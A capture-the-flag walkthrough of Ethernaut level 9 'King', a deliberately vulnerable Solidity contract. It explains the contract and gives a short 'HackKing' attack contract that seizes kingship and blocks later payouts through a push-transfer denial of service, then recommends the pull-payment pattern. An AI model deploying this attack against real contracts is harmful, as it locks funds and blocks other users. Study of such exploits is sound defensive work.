Ethernaut#9 - King

Ethernaut #9 - King

#9

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, sending them back their investment. The goal is to break it so that when you become king, nobody can dethrone you.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

address king;
uint public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

Contract Breakdown

Let us breakdown the contract to understand what each function and piece of code does. The code consists of a single contract King compiled with solidity version ^0.8.0.

Variables
1
2
3
address king;
uint public prize;
address public owner;

king stores the address of the current king. prize is the current amount needed to become king. owner is the contract deployer.

Constructor
1
2
3
4
5
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

The constructor is payable, so ether can be sent during deployment. It sets the owner and king to the deployer and the prize to whatever was sent during deployment.

Functions
1
2
3
4
5
6
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

The receive function is where all the action happens. When someone sends ether to the contract, it first checks that the amount is at least as much as the current prize (or the sender is the owner). Then it transfers the ether to the current king as compensation. After that it sets the new king to msg.sender and updates the prize.

1
2
3
function _king() public view returns (address) {
return king;
}

A simple view function that returns the current king’s address.

Solution

Inspecting the contract, the vulnerability lies in the receive function. When a new king takes over, the contract uses transfer to send ether to the old king. But what if the old king is a contract that refuses to accept ether?

transfer forwards only 2300 gas and reverts the entire transaction if the transfer fails. If we become king using a contract that has no receive or fallback function (or one that reverts), then anyone trying to become the new king will fail because the transfer to our contract will revert.

1
2
3
4
5
6
7
8
9
10
11
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract HackKing {
constructor(address payable _kingAddress) payable {
(bool success,) = _kingAddress.call{value: msg.value}("");
require(success, "Transfer failed");
}

// No receive or fallback function - any ether sent here will revert
}

Steps to pass:

  • Check the current prize by calling prize() on the King contract through Remix or the console.
  • Copy the HackKing contract to Remix and compile it.
  • Deploy it with the King instance address as the constructor argument and send a value equal to or greater than the current prize.
  • Our HackKing contract becomes the new king.
  • Now when anyone else (including the owner when Ethernaut tries to reclaim kingship) tries to send more ether, the transfer to our HackKing contract will fail because it has no way to receive ether, and the whole transaction reverts.
  • Nobody can dethrone us.

This is a classic denial of service (DoS) vulnerability. Never assume that transfer or send will succeed. Use the pull pattern instead of push for sending ether. Let users withdraw their funds rather than sending to them automatically. This avoids situations where a malicious contract can block the entire flow.